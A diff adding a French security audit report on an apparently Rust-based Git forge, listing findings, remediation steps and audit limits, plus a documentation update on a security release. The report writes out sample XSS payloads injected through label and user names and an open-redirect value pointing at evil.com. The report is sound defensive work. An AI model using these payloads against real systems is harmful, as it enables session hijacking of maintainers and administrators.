127 +merge »). C'est l'API REST qui l'a perdu en route. **Pour une forge, l'intégrité du code d'un
128 +dépôt est l'invariant fondamental : ce constat seul justifie un correctif immédiat.**
129 +
130 +La même cause racine — l'absence de notion `can_push` dans le contexte résolu — laisse neuf
131 +autres handlers d'écriture gardés par un simple droit de lecture (voir §4.2, AUTHZ-03) :
132 +fermer et rouvrir les issues et les PR, commenter, créer une PR. Un compte lambda peut fermer
133 +l'intégralité du suivi de bugs d'un dépôt public.
134 +
135 +### Scénario C — Exécuter du JavaScript chez le mainteneur (X-1)
136 +
137 +**Prérequis** : accès en lecture à un dépôt, et le droit d'ouvrir une issue.
138 +
139 +Askama échappe correctement le HTML, mais **l'échappement HTML ne protège pas un contexte
140 +JavaScript imbriqué dans un attribut** : le parseur décode `&#39;` en `'` *avant* que le
141 +moteur JS ne compile le source.
142 +
143 +```html
144 +<!-- crates/gitrust-web/templates/repository/issue_detail.html:146 -->
145 +onclick="removeSubjectTag(this, '{{ label.name }}')"
146 +```
147 +
148 +Les labels « subject » sont créés à la volée par n'importe quel auteur d'issue
149 +(`issue_labels.rs:78-105`), et `validate_label_name` ne contrôle que la longueur. Un label
150 +nommé `x'+alert(document.domain)+'` s'exécute chez le mainteneur qui ouvre l'issue.
151 +
152 +La CSP ne rattrape rien : elle contient `script-src 'unsafe-inline'`. Et `'unsafe-eval'` y
153 +figure aussi alors qu'il est démontrablement inutile (ni Mermaid ni htmx n'en ont besoin ici).
154 +
155 +**Variante visant l'administrateur (X-2)** : le nom d'utilisateur est injecté dans un
156 +`onsubmit` sur `/admin/users/{id}` (`admin/user_detail.html:126`). Puisque `username` n'est pas
157 +validé, s'inscrire sous `x'+fetch('/admin/…')+'` suffit à exécuter du code dans la session de
158 +l'administrateur qui consulte la fiche du compte.
159 +
160 +### Scénario D — Contourner le second facteur (AUTH-01, AUTH-04)
161 +
162 +Deux défauts se combinent pour un attaquant qui détient déjà un mot de passe (phishing, fuite
163 +d'une base tierce, réutilisation).
164 +
165 +D'abord, le contrôle 2FA **échoue en mode ouvert** :
166 +
167 +```rust
168 +// crates/gitrust-web/src/handlers/auth.rs:144-148
169 +match TotpService::is_totp_enabled(&db, user.id).await {
170 + Ok(true) => { /* challenge 2FA */ }
171 + Err(e) => { tracing::error!("Failed to check TOTP status: {e}"); } // ← puis JWT délivré
172 + _ => {}
173 +}
174 +```
175 +
176 +Toute erreur SQL — saturation du pool, indisponibilité passagère — délivre un JWT complet sans
177 +second facteur. Or `POST /login` **n'a aucun rate limiting** (le limiteur du framework ne couvre
178 +que `/api/v1/auth/login`, et nginx n'en pose aucun), ce qui donne précisément le moyen de
179 +provoquer cette saturation.
180 +
181 +Ensuite, l'anti-brute-force TOTP est inopérant : il ne compte que les challenges **saturés**
182 +(`attempts >= 5`). S'arrêter à 4 essais puis redemander un challenge n'est jamais comptabilisé,
183 +donc le nombre de tentatives est illimité. Le second facteur se réduit à un délai.
184 +
185 +### Scénario E — Le mot de passe `password` (C-6)
186 +
187 +Le plus simple, et le plus dommageable en démonstration. L'empreinte SHA-256 de
188 +`ADMIN_PASSWORD` dans `.env`, `.env.production`, `.env.local` et `deployment/.env_nuage` est
189 +`5e884898da28…`, soit la chaîne `password`. Le compte administrateur créé au premier démarrage
190 +est protégé par le mot de passe le plus testé au monde, sur un service écoutant en `0.0.0.0`.
191 +Le rate limiting ne protège pas contre une tentative unique et correcte.
192 +
193 +---
194 +
195 +## 3. Inventaire des constats
196 +
197 +### 3.1 Critiques
198 +
199 +| ID | Constat | Fichier:ligne | Confiance |
200 +|---|---|---|---|
201 +| C-1 | RCE via `username` interpolé dans `sh -c` (CI) | `gitrust-core/src/services/ci_worker.rs:380` | confirmé |
202 +| C-2 | `remove_dir_all` sans validation dans `on_user_deleted` | `gitrust-hooks/src/lib.rs:221` | confirmé |
203 +| C-3 | Fusion de PR sans contrôle d'écriture (API) | `gitrust-web/src/handlers/api/pulls.rs:190` | confirmé |
204 +| C-4 | Secrets de production dans l'historique Git | commits `91ff499`, `20dbf23` | confirmé |
205 +| C-5 | Mot de passe PG + clé OAuth de prod dans `.env.test` versionné | `.env.test:6`, `:60` | confirmé |
206 +| C-6 | `ADMIN_PASSWORD=password` | 4 fichiers d'environnement | confirmé |
207 +| C-7 | Placeholder `JWT_SECRET` valide + promu par `deploy.sh` | `.env.example:99`, `deployment/deploy.sh:417` | confirmé |
208 +| C-8 | Dump SQL 22 Mo non gitignoré | `Services/gitrust-backup-2026-05-28-2211.sql` | confirmé |
209 +
210 +### 3.2 Élevées
211 +
212 +| ID | Constat | Fichier:ligne |
213 +|---|---|---|
214 +| E-1 | Fail-open du contrôle 2FA au login SSR | `handlers/auth.rs:144` |
215 +| E-2 | Aucun rate limiting sur `POST /login` | `handlers/auth.rs:85` |
216 +| E-3 | Anti-brute-force TOTP inopérant (compte les challenges saturés) | `rustwarden-core/.../totp_service.rs:289` *(upstream)* |
217 +| E-4 | Vérification email contournée : login SSR ignore `EMAIL_VALIDATION_REQUIRED`, inscription sans mail | `handlers/auth.rs:85`, `:430` |
218 +| E-5 | XSS stockée via nom de label dans `onclick` | `templates/repository/issue_detail.html:146`, `fragments/labels_suggest.html:7` |
219 +| E-6 | XSS stockée via nom d'utilisateur dans `onsubmit` | `templates/admin/user_detail.html:126`, `repository/settings.html:95` |
220 +| E-7 | Écritures issues/PR gardées par un droit de lecture (9 handlers) | `issues.rs:190,316,356,382` · `pull_requests.rs:193,630,658` · `api/issues.rs:209` · `api/pulls.rs:298` |
221 +| E-8 | Scopes de PAT jamais appliqués (`api:read` écrit, `git:read` pousse) | `extractors/api_auth.rs:106`, `git_http.rs:431` |
222 +| E-9 | IDOR : édition/suppression de labels d'autres dépôts | `handlers/labels.rs:174,246` + `label_service.rs:262,319` |
223 +| E-10 | IDOR : logs CI d'un dépôt privé lisibles depuis un autre dépôt | `handlers/ci.rs:116,179` |
224 +| E-11 | IDOR : suppression de variable CI d'un autre dépôt | `handlers/ci.rs:543` |
225 +| E-12 | CVE `russh` 0.58 exploitables **avant authentification** (port 2222) | RUSTSEC-2026-0154 / -0153, CVSS 7.5 |
226 +| E-13 | Création de répertoire arbitraire non authentifiée à l'inscription | `handlers/auth.rs:442`, `admin_users.rs:505` |
227 +| E-14 | Absence de timeout et de limite de taille sur les sous-processus git | `pack_protocol.rs:117`, `gitrust-ssh/src/session.rs:441` |
228 +| E-15 | `.env` distant jamais mis en `chmod 600` | `deployment/deploy.sh:414` |
229 +| E-16 | `APP_DEBUG=true` en production → cookies sans `Secure` | `.env`, `.env.production`, `deployment/.env_nuage` |
230 +| E-17 | Certificat TLS « snakeoil » actif dans la conf nginx livrée | `deployment/nginx-gitrust.conf:57` |
231 +| E-18 | PostgreSQL exposé en `0.0.0.0:5432` avec mot de passe de repli | `database/docker-compose.yml:19` |
232 +| E-19 | Secrets de l'hôte exposés au build CI ; runner colocalisé par défaut | `config.rs:189` (`CI_REMOTE_HOST=localhost`) |
233 +
234 +### 3.3 Moyennes (sélection)
235 +
236 +| ID | Constat | Fichier:ligne |
237 +|---|---|---|
238 +| M-1 | `username` non validé (cause racine de C-1, C-2, E-6, E-13) | `handlers/auth.rs:391`, `user_service.rs:32` *(upstream)* |
239 +| M-2 | Politique de mot de passe non appliquée à l'inscription ni au reset | `handlers/auth.rs:411`, `password_reset_service.rs:233` |
240 +| M-3 | Rate limiting des emails inerte (service réinstancié à chaque requête) | `handlers/password_reset.rs:65`, `email_verify.rs:44` |
241 +| M-4 | Aucune ré-authentification pour désactiver le 2FA, changer l'email, ajouter une clé SSH | `handlers/security.rs:187,230` |
242 +| M-5 | Changement d'email conserve le statut « vérifié », sans notification | `user_service.rs:190` *(upstream)* |
243 +| M-6 | Logout SSR ne révoque pas le JWT d'accès | `handlers/auth.rs:310` |
244 +| M-7 | Aucun anti-rejeu du code TOTP (fenêtre ~90 s) | `totp_service.rs:395` *(upstream)* |
245 +| M-8 | `bcrypt::verify` synchrone sur les codes de secours → saturation du runtime | `totp_service.rs:190` *(upstream)* |
246 +| M-9 | Squat d'empreinte de clé SSH + oracle d'existence | `ssh_key_service.rs:83` |
247 +| M-10 | CSP neutralisée par `unsafe-inline` ; `unsafe-eval` inutile | `rustwarden-core/src/app.rs:810` *(upstream)* |
248 +| M-11 | Redirection ouverte via `/login?redirect=/\evil.com` | `handlers/auth.rs:604` |
249 +| M-12 | IDOR : labels arbitraires assignables à la création d'une issue | `handlers/issues.rs:192` |
250 +| M-13 | `grant_team_access` accepte n'importe quel `team_id` | `handlers/collaborators.rs:299` |
251 +| M-14 | Énumération de dépôts privés (401 vs 404, HTTP et Git) | `helpers.rs:350`, `git_http.rs:363` |
252 +| M-15 | Sous-processus git sans nettoyage d'environnement | `gitrust-ssh/src/session.rs:580`, `pack_protocol.rs:84` |
253 +| M-16 | SSRF : validation d'URL sensible au DNS rebinding et aux redirections | `gitrust-git/src/remote.rs:40` |
254 +| M-17 | Rendu Markdown/syntect sans plafond de taille (DoS CPU) | `highlight.rs`, `issue_service.rs:37` |
255 +| M-18 | Store mémoire ssh-guard non borné entre deux purges horaires | `gitrust-ssh-guard/src/store/memory.rs:37` |
256 +| M-19 | `SSH_GUARD_MAX_CONCURRENT_PER_IP` défini mais jamais utilisé | `config.rs:324` |
257 +| M-20 | `setup-remote-ci.sh` : `curl \| sh` non vérifié, `source` du `.env` | `deployment/setup-remote-ci.sh:19,61,73` |
258 +| M-21 | Durcissement systemd incomplet ; `CAP_NET_BIND_SERVICE` inutile | `deployment/gitrust.service:17` |
259 +| M-22 | Image Docker : Syft installé depuis `main`, pas d'épinglage, pas de healthcheck | `docker/Dockerfile:55` |
260 +| M-23 | Mot de passe PG en dur dans une couche d'image | `docker/Dockerfile:84` |
261 +| M-24 | Nettoyage distant du workspace CI jamais awaité (fuite entre tenants) | `ci_worker.rs:507` |
262 +| M-25 | Fichier versionné au nom trompeur de clé privée | `deployment/root@gitrust.ebii.fr` |
263 +| M-26 | Ajout à une équipe sans consentement du membre | `handlers/user_teams.rs:181` |
264 +
265 +### 3.4 Faibles et informatifs (sélection)
266 +
267 +`must_change_password` jamais appliqué sur les pages SSR (`src/main.rs:490`) · 2FA obligatoire
268 +non appliqué aux chemins API · `GET /logout` déconnectable par requête intersite · refresh
269 +token SSR jamais rotaté (arbitrage documenté) · PAT créés depuis l'UI avec tous les scopes
270 +(`tokens.rs:41`) · pas de `session.cycle_id()` à la connexion · bootstrap admin sans complexité
271 +imposée · reset de mot de passe ne révoque ni PAT ni clés SSH · formulaire de suppression
272 +d'utilisateur sans jeton CSRF (fonctionnalité cassée, pas une brèche) · en-têtes COOP/COEP/CORP
273 +absents · XSS de rôle dans un `confirm()` (admin uniquement) · couleur de label non validée en
274 +hexadécimal · attribut `class` arbitraire autorisé dans le Markdown · `Cache-Control: no-store`
275 +absent sur les dépôts privés · secrets CI sérialisés en clair par l'API · `deploy_ebii.conf`
276 +versionné (topologie) · `.dockerignore` incomplet · `RUST_LOG=debug` en production · journal
277 +d'audit non inviolable.
278 +
279 +### 3.5 Dépendances — `cargo audit`
280 +
281 +**15 vulnérabilités, 7 avertissements.** Les cinq qui comptent pour cette architecture :
282 +
283 +| Avis | Paquet | CVSS | Pourquoi c'est pertinent ici |
284 +|---|---|---|---|
285 +| RUSTSEC-2026-0154 / -0153 | `russh`, `russh-cryptovec` 0.58.0 | 7.5 | Port SSH 2222 exposé, atteignable **sans authentification** |
286 +| RUSTSEC-2026-0258 | `h2` 0.4.13 | — | Trames DATA vides non bornées, serveur HTTP |
287 +| RUSTSEC-2026-0285 | `rustls` 0.23.37 | 5.3 | Messages TLS 1.3 acceptés hors niveau de chiffrement |
288 +| RUSTSEC-2026-0199 | `bcrypt` 0.19.0 | 5.3 | Panique sur hash non-ASCII, chemin d'authentification |
289 +| RUSTSEC-2026-0183 / -0184 | `git2` 0.20.4 | — | Comportement indéfini potentiel en FFI |
290 +
291 +**Note sur `ammonia` 4.1.2** (RUSTSEC-2026-0213 et -0193) : vérification faite, **ces deux avis
292 +ne sont pas exploitables ici**. Ils exigent l'autorisation explicite des balises SVG
293 +(`animate`, `set`) ou MathML (`annotation-xml`), et la configuration de `highlight.rs:94`
294 +n'ajoute que `details`, `summary` et `kbd` à l'allowlist par défaut, qui ne les contient pas.
295 +Mise à jour recommandée par hygiène, sans urgence.
296 +
297 +Correctif global : `russh ≥ 0.60.3`, `h2 ≥ 0.4.16`, `rustls ≥ 0.23.45`, `bcrypt ≥ 0.19.2`,
298 +`quick-xml ≥ 0.41.0`, `quinn-proto ≥ 0.11.15`, `ammonia ≥ 4.1.4`.
299 +
300 +---
301 +
302 +## 4. Analyses transverses
303 +
304 +### 4.1 Ce qui est réellement solide
305 +
306 +Il serait injuste de laisser les constats ci-dessus masquer un socle sérieux. Ces points sont
307 +des arguments défendables face à un prospect ou un auditeur.
308 +
309 +**Les invariants ANSSI annoncés sont tenus.** Les 35 directives
310 +`#[allow(clippy::unwrap_used, …)]` des crates `gitrust-*` sont **toutes** cantonnées à des
311 +modules `#[cfg(test)]`. Aucun `panic!`, `unreachable!` ni indexation directe atteignable depuis
312 +une entrée utilisateur. `#![forbid(unsafe_code)]` est effectif sur core/web/hooks/ssh-guard,
313 +`deny` sur git/ssh, et **aucun bloc `unsafe` n'existe dans le code du projet**. Pour un projet
314 +de 64 000 lignes, c'est remarquable — et c'est exactement le genre d'affirmation qu'un audit
315 +tiers vérifiera.
316 +
317 +**Aucune injection SQL.** Recherche exhaustive de `Statement::from_string`,
318 +`from_sql_and_values`, `raw_sql`, `execute_unprepared` et des `format!` de requêtes : le seul
319 +SQL brut est dans les migrations, avec des littéraux statiques. Tous les accès applicatifs
320 +passent par SeaORM paramétré, y compris la recherche et le tri.
321 +
322 +**Une porte unique pour la lecture des dépôts.** Tous les chemins de lecture passent par
323 +`resolve_repo_access` (`helpers.rs:300`). Aucun handler de lecture ne la contourne :
324 +arborescence, blob, commits, diff, branches, tags, issues, PR, CI, sécurité. **La fuite de
325 +dépôt privé par le contenu lui-même n'existe pas** ; les deux fuites relevées (E-10, M-14)
326 +passent par des ressources satellites ou le canal d'erreur.
327 +
328 +**Aucune route « raw ».** Il n'existe aucun point d'accès servant le contenu brut d'un blob, ni
329 +aucun upload d'avatar ou de pièce jointe. Le vecteur XSS stockée le plus classique d'une forge
330 +— servir un SVG hostile depuis l'origine — est structurellement fermé.
331 +
332 +**CSRF réellement robuste.** Jeton de 32 octets lié à la session, comparaison en temps constant
333 +via `subtle`, méthodes sûres exemptées, corps bufferisé et rejoué. La séparation
334 +`browser_routes` / `machine_routes` est rigoureuse : l'API JSON n'accepte **que** l'en-tête
335 +`Authorization`, sans repli sur cookie, ce qui rend le contournement par Bearer inoffensif. Les
336 +tests vérifient aussi le rejet d'un jeton *falsifié*, pas seulement absent.
337 +
338 +**Gestion des secrets d'authentification exemplaire.** Aucun secret stocké en clair : PAT et
339 +refresh tokens en SHA-256, jetons de reset en SHA-256 d'un UUID v4, secrets TOTP chiffrés en
340 +AES-256-GCM. `PersonalTokenService::verify` compare en temps constant. Les newtypes `TokenHash`
341 +et `PlainToken` sont zeroizés et leur `Display` est rédigé. `AuthService` vérifie un
342 +`DUMMY_HASH` même pour un identifiant inexistant, fermant l'énumération temporelle.
343 +
344 +**PROXY protocol correctement verrouillé.** L'en-tête n'est accepté que d'un pair figurant dans
345 +`trusted_proxies`, et le démarrage **échoue** si le PROXY est activé sans allowlist
346 +(`ssh-guard/src/config.rs:567`). L'usurpation d'IP pour contourner un ban est fermée — c'est le
347 +piège classique de ce type de couche, évité.
348 +
349 +**Sous-processus git en argv natif.** `pack_protocol`, `session.rs` et `sbom_service`
350 +n'utilisent pas de shell, allowlistent strictement les services (`git-upload-pack`,
351 +`git-receive-pack`) et refusent le shell interactif. `ci_worker` est la seule exception — d'où
352 +C-1.
353 +
354 +**Chaîne Markdown correcte.** pulldown-cmark laisse passer le HTML brut, mais `render_markdown`
355 +termine par `ammonia::clean` avec une allowlist proche du défaut. Les schémas `javascript:` et
356 +`data:` sont rejetés, `rel="noopener noreferrer"` est ajouté automatiquement. Le filtrage des
357 +`style=` de syntect est soigné, avec des tests couvrant `url(javascript:…)` et `expression(…)`.
358 +Les dix occurrences de `|safe` ont été inventoriées : **aucune n'est dangereuse**.
359 +
360 +**Journalisation propre.** Aucun mot de passe, jeton, en-tête `Authorization` ni cookie écrit
361 +dans les journaux. Aucun `println!` ni `dbg!` résiduel. Les erreurs de base renvoient un message
362 +générique au client, le détail restant côté serveur.
363 +
364 +**Défauts fonctionnels prudents.** Inscription fermée, validation d'email requise, rate
365 +limiting configuré, `SSH_GUARD_ENABLED=true` avec `SSH_GUARD_DRY_RUN=false`, `COOKIE_SECURE`
366 +forcé dès que `APP_DEBUG=false` (avec journalisation de l'override ignoré), `SameSite=Strict`
367 +par défaut, empreintes de clés SSH uniques globalement, RSA ≥ 4096 bits.
368 +
369 +Les commentaires `SEC-*` disséminés dans le code attestent d'un travail de durcissement
370 +antérieur méthodique. Les constats de ce rapport sont des **oublis ponctuels dans une
371 +architecture saine**, pas le symptôme d'une conception négligente.
372 +
373 +### 4.2 Le motif d'erreur dominant : la garde manquante sur une seule branche
374 +
375 +Six constats parmi les plus graves suivent exactement le même schéma : **le contrôle de
376 +sécurité existe, il est correctement écrit, mais une seule branche du code l'a oublié.**
377 +
378 +| Constat | Où le contrôle existe | Où il manque |
379 +|---|---|---|
380 +| C-1 | `sbom_service.rs:211` (argv natif, `commit_sha` validé) | `ci_worker.rs:380` (`sh -c`) |
381 +| C-2 | `on_user_registered` (valide `..`, `/`, `\`) | `on_user_deleted` (rien) |
382 +| C-3 | `pull_requests.rs:494` (SSR, `can_manage`) | `api/pulls.rs:190` (API, rien) |
383 +| E-10 | `api/ci.rs:223` (vérifie l'appartenance) | `ci.rs:116` (SSR, rien) |
384 +| E-11 | `api/ci.rs:542` (vérifie le scope) | `ci.rs:543` (SSR, rien) |
385 +| M-12 | `issue_labels.rs:56` (intersecte les IDs autorisés) | `issues.rs:192` (rien) |
386 +
387 +**Conséquence pratique** : les correctifs consistent à **généraliser des motifs déjà écrits et
388 +testés dans le dépôt**, pas à concevoir une nouvelle mécanique. Le risque de régression est
389 +faible.
390 +
391 +**Conséquence méthodologique** : ce motif se reproduira tant que les gardes seront appelées
392 +*dans le corps* des handlers plutôt que portées par le type. Un oubli ne produit alors aucune
393 +erreur de compilation. La correction structurante consiste à enrichir `ResolvedRepo` et
394 +`ApiRepoContext` d'un champ `can_push` et à exiger un extracteur typé pour les routes mutantes.
395 +
396 +### 4.3 Note sur la CI : le modèle de menace mérite d'être explicité
397 +
398 +Une CI exécute du code arbitraire **par conception** — ce n'est pas une vulnérabilité. Le
399 +problème est ailleurs, et il est double.
400 +
401 +D'abord, C-1 fait sortir l'exécution du périmètre prévu : elle a lieu sur l'hôte de la forge,
402 +pas sur le runner. L'isolation architecturale est contournée avant même d'entrer en jeu.
403 +
404 +Ensuite, `CI_REMOTE_HOST=localhost` est le **défaut** (`config.rs:189`), et
405 +`docs/CI_REMOTE_RUNNER.md` le présente comme valable pour « dev, petites prods ». Dans ce mode,
406 +le `dagger call` s'exécute sur la machine Gitrust, et Dagger requiert l'accès au socket Docker
407 +— c'est-à-dire root sur l'hôte. Le code CI d'un utilisateur quelconque peut alors monter
408 +`GIT_REPOS_BASE_PATH` et lire tous les dépôts privés. La documentation recommande bien
409 +l'isolation, mais **rien dans le code ne l'impose et le défaut la viole**.
410 +
411 +Recommandation : refuser `localhost` lorsque `APP_DEBUG=false`, ou au minimum émettre un
412 +avertissement de démarrage explicite. Documenter que le runner doit être une machine séparée,
413 +sans accès aux secrets ni aux dépôts.
414 +
415 +---
416 +
417 +## 5. Plan de remédiation
418 +
419 +### Immédiat — avant toute démonstration ou remise à un tiers
420 +
421 +| Action | Constats fermés | Effort |
422 +|---|---|---|
423 +| **Faire tourner tous les secrets** : `JWT_SECRET`, mot de passe PostgreSQL, `ADMIN_PASSWORD`, `SMTP_PASSWORD`, `OAUTH_ENCRYPTION_KEY` — production **et** démo. Puis purger `refresh_tokens` et `sessions`. | C-4, C-5, C-6 | 1 h |
424 +| **Déplacer le dump SQL** hors du dépôt, en `chmod 600`, et durcir `.gitignore` (`*.sql`, `/Services/`). | C-8 | 15 min |
425 +| **Valider `username`** : newtype sur le modèle de `RepoSlug` (`^[a-z0-9-]{3,39}$`, pas de tiret en tête/queue, noms réservés), appliqué à `register_submit`, à la route API, à `update_profile` et à `admin_users`. | C-1, C-2, E-6, E-13, M-1 | 2 h |
426 +| **Supprimer le `sh -c`** de `prepare_workspace` : chaîner `git archive` et `tar` en argv natif, comme `sbom_service.rs:211`. Valider `commit_sha` en `^[0-9a-f]{40}$`. | C-1, CI-04 | 1 h |
427 +| **Ajouter `can_manage` à `merge_pull`** (API). Trois lignes. | C-3 | 15 min |
428 +| **Valider le chemin dans `on_user_deleted`** : même contrôle que `on_user_registered`, plus vérification de containment après canonicalisation. | C-2 | 30 min |
429 +| **Vider `JWT_SECRET` dans `.env.example`** et rejeter au démarrage tout secret contenant `REMPLACER`, `CHANGE`, `EXAMPLE`, `TODO`. Faire échouer `deploy.sh` au lieu de promouvoir `.env.example`. | C-7 | 1 h |
430 +
431 +### Sous 48 heures
432 +
433 +- **Réécrire l'historique Git** (`git filter-repo --path .env.gitrustmule --path .env.test --invert-paths`), forcer la mise à jour des distants, demander la recréation de tous les clones. *À arbitrer selon le nombre de clones existants.* — **C-4, C-5**
434 +- Retirer `.env.test` du suivi, le remplacer par un `.env.test.example` à valeurs ostensiblement factices. — **C-5**
435 +- `APP_DEBUG=false` et `COOKIE_SECURE=true` sur toutes les instances servies en TLS. — **E-16**
436 +- Activer le certificat Let's Encrypt par défaut dans la conf nginx. — **E-17**
437 +- `chmod 600` sur le `.env` distant et sur la clé hôte SSH dans `deploy.sh`. — **E-15**
438 +- `cargo update` : `russh ≥ 0.60.3` en priorité (pré-authentification), puis `h2`, `rustls`, `bcrypt`. — **E-12**
439 +- Restreindre PostgreSQL à `127.0.0.1:5432` et rendre `POSTGRES_PASSWORD` obligatoire (`:?`). — **E-18**
440 +
441 +### Sous une semaine
442 +
443 +- **Ajouter `can_push` à `ResolvedRepo` et `ApiRepoContext`**, puis appliquer la garde aux neuf handlers d'écriture. C'est le correctif structurant : il supprime la cause racine plutôt que ses symptômes. — **E-7**
444 +- Sortir les valeurs dynamiques des attributs `onclick`/`onsubmit` vers des attributs `data-*` lus par délégation d'événement. Restreindre `validate_label_name` à un jeu de caractères sûr. — **E-5, E-6**
445 +- Porter les scopes dans `ApiUser`, exiger `GitWrite` strict sur `git-receive-pack`, exposer la sélection de scope à la création de PAT. — **E-8**
446 +- Passer le périmètre (`owner_id`, `repo_id`) dans les signatures de `LabelService`, `CiService` et `CiVariableService`, et filtrer en SQL. — **E-9, E-10, E-11, M-12**
447 +- Faire échouer en mode fermé le contrôle 2FA, et poser un `RateLimitService` statique sur `POST /login` (clé IP **et** clé identifiant) et sur `POST /login/2fa`. — **E-1, E-2, E-3**
448 +- Brancher la vérification d'email sur le login SSR et envoyer le mail de validation à l'inscription. — **E-4**
449 +- Retirer `'unsafe-eval'` de la CSP (aucun impact fonctionnel constaté), corriger la redirection ouverte (`\` traité comme `/`). — **M-10, M-11**
450 +- Timeouts sur les sous-processus git, `DefaultBodyLimit` explicite, brancher `SSH_GUARD_MAX_CONCURRENT_PER_IP`. — **E-14, M-19**
451 +
452 +### Sous un mois
453 +
454 +- Externaliser les 7 blocs `<script>` inline, puis retirer `'unsafe-inline'` de `script-src`.
455 +- Compléter le durcissement systemd (`CapabilityBoundingSet=`, `SystemCallFilter`, `RestrictAddressFamilies`, `MemoryMax`), retirer `CAP_NET_BIND_SERVICE`.
456 +- Fiabiliser `setup-remote-ci.sh` : empreintes SHA-256 épinglées au lieu de `curl | sh`, parsing du `.env` au lieu de `source`.
457 +- Épingler les images Docker par empreinte, ajouter les healthchecks, retirer `DATABASE_URL` du `ENV` du Dockerfile.
458 +- Ré-authentification (« sudo mode ») pour désactiver le 2FA, changer l'email, ajouter une clé SSH, créer un PAT. Confirmation par email du changement d'adresse.
459 +- Refuser `CI_REMOTE_HOST=localhost` en production, ou avertir bruyamment.
460 +- Uniformiser les réponses d'erreur sur 404 pour fermer l'énumération de dépôts privés.
461 +- Rendre `cargo audit --deny warnings` bloquant dans le pipeline Dagger, et ajouter `gitleaks` ou `trufflehog`.
462 +- Ajouter un test qui échoue sur tout `<form method="post">` dépourvu de `csrf_token`.
463 +
464 +---
465 +
466 +## 6. Limites de cet audit
467 +
468 +**Analyse statique exclusivement.** Aucun scénario n'a été rejoué contre une instance en
469 +fonctionnement. Les niveaux de confiance « confirmé » signifient « établi par lecture du code
470 +et de ses appelants », pas « exploité en conditions réelles ». Les constats C-1, C-3, E-1, E-5
471 +et E-6 se prêtent bien à des tests d'intégration de non-régression, un par scénario — c'est la
472 +suite logique de ce rapport.
473 +
474 +**Fédération ActivityPub exclue** sur consigne. Attention toutefois : `AccessService` expose
475 +des variantes `*_for_identity` acceptant `Identity::Remote`, et `git_http.rs` route les PAT
476 +`rwfed_pat_*` vers un vérificateur distinct. La frontière entre les deux mondes est perméable,
477 +et les correctifs de E-7 et E-8 devront traiter les deux formes d'identité. Un audit dédié
478 +reste nécessaire, d'autant que trois gabarits fediverse ont été repérés sans jeton CSRF.
479 +
480 +**Valeurs de production non vérifiées.** `.env.production` de l'instance `gitrust.nuage.ebii`
481 +n'est pas dans le dépôt. Les valeurs effectives de `APP_DEBUG`, `COOKIE_SECURE` et
482 +`CORS_ALLOWED_ORIGINS` sur la machine cible restent à confirmer. E-15, E-16 et E-18 en dépendent
483 +directement.
484 +
485 +**Non examinés** : règles fail2ban, module Dagger `.dagger/`, profils `ci-engine/profiles/`,
486 +dépendances npm (`npm audit` non exécuté), sûreté de Mermaid face à un diagramme hostile,
487 +privilèges PostgreSQL effectifs du rôle applicatif, contenu réel du dump SQL (volontairement
488 +non lu, seuls les blocs `COPY` ont été comptés).
489 +
490 +**Framework `rustwarden-core`** inspecté en lecture seule et uniquement sur les points
491 +directement pertinents. Neuf constats en relèvent (marqués *upstream*) et doivent être soit
492 +contournés côté gitrust par wrapper, soit remontés en amont, conformément à la règle de
493 +non-modification.
494 +
495 +---
496 +
497 +## 7. Traçabilité
498 +
499 +Audit réalisé par six analyses parallèles spécialisées, dont les constats les plus graves ont
500 +été revérifiés manuellement sur le code source :
501 +
502 +| Volet | Constats | Vérification manuelle |
503 +|---|---|---|
504 +| Authentification et identité | 23 | fail-open 2FA, absence de validation `username` |
505 +| Autorisation, IDOR, visibilité | 11 | `resolve_api_repo`, `merge_pull` |
506 +| Accès Git (HTTP, SSH, ssh-guard) | 16 | `on_user_deleted`, `compute_disk_path` |
507 +| Injections, CI, SSRF, SQL | 16 | `sh -c` de `prepare_workspace` |
508 +| XSS, CSRF, en-têtes, CSP | 11 | attributs `onclick`/`onsubmit`, configuration ammonia |
509 +| Configuration, déploiement, secrets | 18 | empreintes `ADMIN_PASSWORD`, historique Git, `.env.test` |
510 +
511 +`cargo audit` exécuté le 17 septembre 2026 : 15 vulnérabilités, 7 avertissements.
M docs/SERVICES_REFERENCE.md
+375 -14
@@ -12,6 +12,12 @@
12 12 >
13 13 > **`merge_routes(..)` vaut maintenant `merge_browser_routes` (CSRF par défaut, fail-safe).** Tout consommateur qui montait une **API JSON / un webhook** via `merge_routes` doit le **migrer vers `merge_machine_routes`**, sinon ces routes renverront `403` faute de token. Le routeur UI est partitionné : `rustwarden_ui::default_routes()` est **déprécié** au profit de `browser_routes()` (SSR) + `api_routes()` (`/api/v1/*`). Détails et table de migration en **[§18](#18-middleware-csrf-auth-rate-limit)**.
14 14
15 +> ⚠️ **Security 1.1.0 (RFC 0036-0041) — propagé par `update-project`.** Minor de sécurité : **3 API ajoutées** ([`Username`](#username-value-object) §3, [`SecurityHeadersConfig`](#en-tetes-de-securite-securityheadersconfig) §18, [`EmailChangeService`](#emailchangeservice) §3), **4 changements de comportement** (§3 `create_user` / `update_profile`, §4 `authenticate_user`, §19 TOTP), **2 migrations SeaORM à jouer** (`m20260918_000010_totp_last_used_step`, `m20260919_000011_pending_email_changes`), **5 routes ajoutées** (§3). Fenêtre d'adoption **14 jours**.
16 +>
17 +> Actions consommateur : (1) **jouer la migration avant de déployer le binaire** (`cargo run --bin migrate`) — le modèle SeaORM `user_totp` déclare `last_used_step`, donc sur un schéma pré-migration **toute** requête sur `user_totp` échoue, dont `TotpService::is_totp_enabled` appelée à **chaque** login : un réplica 1.1.0 sur un schéma pré-migration fait échouer **tous les logins en 500**, pas seulement ceux des comptes 2FA ; (2) vérifier que les usernames générés par votre app passent `Username::parse` (`[a-z0-9-]`, 3–39, pas de majuscule) ; (3) **`update_profile` n'écrit plus `users.email`** : tout appel passant une nouvelle adresse renvoie `AppError::Validation` — basculer sur `EmailChangeService::request_change` (utilisateur) ou `admin_force_change` (opérateur, en remplacement de `PUT /admin/users/{id}` pour l'adresse), et vérifier que SMTP + le worker `email_queue` tournent avant le bump (§3) ; (4) le hook `auth.login_blocked` **n'est plus émis** par le blocage e-mail (la ligne `audit_logs` l'est toujours) ; (5) retirer les workarounds : newtype `Username` local, overlay `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)`, patch local re-vérifiant l'e-mail, appel applicatif à `PasswordChangeService::invalidate_on_email_change`. Détail : [MIGRATION_GUIDE.md](MIGRATION_GUIDE.md) § *2026-09-18 — RFC 0036-0041 (1.1.0)* et CHANGELOG `[1.1.0]`.
18 +
